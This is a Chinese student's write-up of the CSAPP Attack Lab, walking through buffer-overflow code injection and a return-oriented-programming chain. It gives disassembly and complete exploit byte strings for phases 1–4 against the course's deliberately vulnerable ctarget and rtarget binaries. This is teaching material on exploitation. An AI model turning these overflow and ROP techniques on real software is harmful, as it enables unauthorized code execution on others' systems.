CSAPP lab3: attack lab
写在前面 以后做lab之前, 一定要看官网的README和Writeup!!!
attack lab如果不看这两个东西的话根本就不知道要干嘛(前两个lab我就没看这两个东西, 做的就比较困难, 虽然都做出来了)
对于这个lab而言, 还要充分理解小端序机器是如何存储字节码的
概述 暂时没有, 因为这篇是边做边写的
工具 hex2raw 将输入二进制序列转化为字符串
题解 ctarget 约定
本target的做法都是利用缓冲区溢出注入二进制代码
执行ctarget时要加上-q指令, 防止其连接远程服务器(在gdb调试时, r -q来运行)
三个phase的难度是递增的
通用函数 getbuff 1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
这个函数提供一个40字节的缓冲区供我们输入, 当输入超过这个数的时候就可以do something interesting
Phase 1: ctarget.l1 这个phase要求我们在执行完getbuff()之后跳转到touch1()函数, 以下是touch1()函数的反汇编
1 2 3 4 5 6 7 8 9 10 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
我们知道ret指令相当于以下指令
即把当前栈顶的前8个字节内容赋值给rip寄存器, 我们知道函数调用有一个规则是:
如果函数A()调用函数B(), 那么A()的栈帧最顶端8个字节就是B()结束后的下一条指令的地址, 如图所示
我们在执行getbuff()函数时如果溢出, 那么最先受影响的就是下一条指令的地址, 那我们就把这个位置变成touch1()函数的地址就好了
所以我们需要输入的二进制序列为
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
然后就成功了
Phase 2: ctarget.l2 这个phase要求我们执行完getbuf()后跳转到touch2()函数, 但是与phase1不同的是, 我们要给touch2()函数传一个参数: cookie值
先看看touch2()的反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 call 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 call 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
这个汇编代码除了告诉我们函数的入口为地址0x4017ec外其实没有什么用, 因为CSAPP官网的write up文件给出了touch2()的C代码!
也就是要求我们调用touch2()的同时传入cookie作为参数
Writeup给出了advice
需要往rdi寄存器里写入cookie
不要用jmp或call, 因为这两个参数的二进制代码不好确定, 用ret指令来完成
附录B里有用gcc将汇编代码转为机器指令序列的方法
那么一个显然的想法是我们用汇编代码写出来几个指令(把cookie存到%rdi, 调用touch2()函数), 然后通过缓冲区溢出重定向rip寄存器让程序执行这几个指令就可以了
首先把cookie移到%rdi
我的cookie是0x59b997fa, 所以汇编指令如下
然后来到了关键的一步: 调用touch2()函数, 我一开始想的是直接把他的地址移到%rip里
但是在转成机器指令.o文件的时候出错了, 说mov指令操作数不对, 原因是我们并不能以任何形式直接对rip寄存器的内容更改! 人家提示里也说了, 用ret指令来完成这个操作。 前边也说过了ret指令干什么事, 所以这里就需要我们对rsp寄存器操作一下, 我们把0x4017ec写到栈里, 然后让rsp指向这个地址就可以了
最终要执行的指令序列为
1 2 3 movl $0x59b997fa,%edi sub $0x20,%rsp # 等会会解释为什么这样做 ret
转换成16进制机器指令序列, 得到需要的字节码
1 2 3 4 5 6 7 8 9 10 11 phase_2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: bf fa 97 b9 59 mov $0x59b997fa,%edi 5: 48 83 ec 20 sub $0x20,%rsp 9: c3 retq
为了方便后续的解释, 先放出这个phase的答案
1 2 3 4 5 6 bf fa 97 b9 59 48 83 ec # 这是getbuf()的那个ret会传给rip的那个地址的内容 20 c3 00 00 00 00 00 00 ec 17 40 00 00 00 00 00 # ret(这是我们自己写的那个ret)里会传给rip的touch2()地址, 注意是小端序!!! 00 00 00 00 00 00 00 00 # 00 00 00 00 00 00 00 00 # 这两行点用没有 78 dc 61 55 00 00 00 00 # 这是getbuf()的那个ret会传给rip的地址
为了确定要注入到rip寄存器的地址, 我们先看看我们的输入具体是被存到哪里了(内存中的哪个地址)
0x5561dc78, 这就是我们放输入的可执行序列的地方, 也是我们要让getbuf()执行完后跳转到的地方, 所以要像phase1那样把它写到最后, 溢出覆盖原来的返回位置, 画个丑图解释一下, 这是getbuf()刚返回后的状态, 此时$rip = 0x5561dc78, 图中每一行是8个字节(地址的箭头应该从右边出来的, 因为右边是低地址, 这里纯粹是为了好看)
讲起来确实有点麻烦, 自己做的话感觉还好
Phase 3: ctarget.l3 这个phase要求我们调用touch3(), 并且传入一个字符串等于我们的cookie。 和phase2不同的是touch3()会调用另一个函数hexmatch()(这两个函数的C代码Writeup里都有, 也是Writeup告诉我该干嘛的, 所以一定要看Writeup), 因为存在函数调用关系, 肯定会在栈上增加返回地址, 而且这个hexmatch()函数可也用了栈空间, 有可能会覆盖我们的输入(主要是传给touch3()的那个参数里的字符串(输入的cookie), 在hexmatch()里要用来比较, 不能被覆盖, 别的都无所谓, 因为它们已经被利用完了)
还是放一下这两个函数的反汇编吧(虽然我觉得用处不大)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff call 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt> 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 ret 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
这个phase有可能存在巧妙的组织你的输入各部分从而让你输入的cookie不会被覆盖(但是我懒得想), 既然后续操作用到了栈空间, 那我提前把%rsp减一个量不就行了吗, 这样后续申请栈空间就不会影响到我之前的输入, 所以这个phase也就比phase2多了一个操作rsp寄存器的指令, 然后排版一下我们的输入各部分, 计算各个部分的地址就可以了, 这里我们的输入应该分为四个部分:
注入的返回地址: 用于覆盖getbuf()函数的返回地址, 指向我们的可执行序列
cookie: 用于后续的比较, 要把它的地址放到rdi寄存器里给touch3()函数当参数, 注意这里的cookie是当作字符串的, 也就是数字的高位要在低地址, 而不是phase2中当成数字的小端序
可执行代码: 执行我们想让它执行的操作
touch3()函数的地址: 这个东西要放在栈顶, 好让ret把它pop到rip寄存器里
然后我们稍微做一下定位, 找到输入附近栈帧的内存位置
然后画一张图解释一下最终我们干了什么事
图中也给出了我们这个phase的答案
1 2 3 4 5 6 fa 18 40 00 00 00 00 00 48 83 ec 30 bf 90 dc 61 55 c3 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 80 dc 61 55 00 00 00 00
说明一下各个部分是怎么来的
返回地址, 用gdb找的
cookie, Writeup里有写, man ascii对出来的, 注意后面要加至少一个00字节作为结束\0
可执行代码, 先写出我们的汇编代码, 然后按照Writeup附录B的内容操作就好了
touch3()函数的地址, 反汇编里有
那这个phase也就完成了!
rtatget 约定
使用了栈随机化, 也就是说我们并不能确定输入的位置
限制代码可执行区域, 也就是说就算我们找到了输入的位置, 也不能执行插入的指令序列
只能使用给定的farm里的gadgets, 不要用别的地方的
所以说我们唯一能做的就是让输入溢出getbuf()的返回后的地址(之前只溢出8个字节替代返回地址, 现在要溢出不止8个字节了), 然后让gadgets完成我们想要的操作然后ret会影响rsp和rip寄存器
Phase 4: rtarget.l2 Writeup说这个phase我们只需要用start_farm到mid_farm中的两个gadgets就足够了, 看看这其中都有哪些指令和gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 ret 000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 ret 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # 48 89 c7: movq %rax,%rdi # 89 c7: movl %eax,%edi 4019a6: c3 ret 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # 58: popq %rax 4019ad: c3 ret 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 ret 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 ret 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 ret 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) # 48 89 c7: ~ # 89 c7: ~ 4019c9: c3 ret 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax # 58: popq %rax 4019cf: c3 ret 00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 ret
再给一下touch2()的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 call 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 call 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
我们发现实际可用的指令也就只有两个, 分别是
1 2 popq %rax movq %rax,%rdi
这两个也够了, 反正我们只要把cookie放到rdi寄存器里然后调用touch2()就可以了, 别忘了这两个指令执行完后都跟着一个ret指令
上一张图解释一下我们要溢出的那些内容
我们来模拟一下从getbuf()函数返回开始都发生了什么(以getbuf()的返回地址为基准, 用偏移来表示栈上的地址)
此时$rsp=0x0, getbuf()函数执行ret语句, 把popq指令的地址给rip寄存器, 并让$rsp+=8
此时$rsp=0x8, popq指令执行, 把cookie的地址给rax寄存器, 并让$rsp+=8
此时$rsp=0x10, ret指令执行, 把movq指令的地址给rip寄存器, 并让$rsp+=8
此时$rsp=0x18, movq指令执行, 将rax寄存器的内容复制给rdi寄存器
此时$rsp=0x18, ret指令执行, 把touch2()函数的地址给rip寄存器, 并让$rsp+=8
touch2()函数执行, 操作成功
这样我们就达到了我们的目的, 别忘了前面还需要40个字节来先填满缓冲区, 所以最终的答案为
1 2 3 4 5 6 7 8 9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
运行
phase4完成!
Phase 5: rtarget.l3 Writeup里说这个phase作者设置的很难, 而且只有5分, 是给who want to go beyond the normal expectations for the course准备的, 我觉得可能就麻烦一点, 应该也没什么难的, 回头做(刚看到Advice说official solution用了8个gadgets, 那应该也不简单)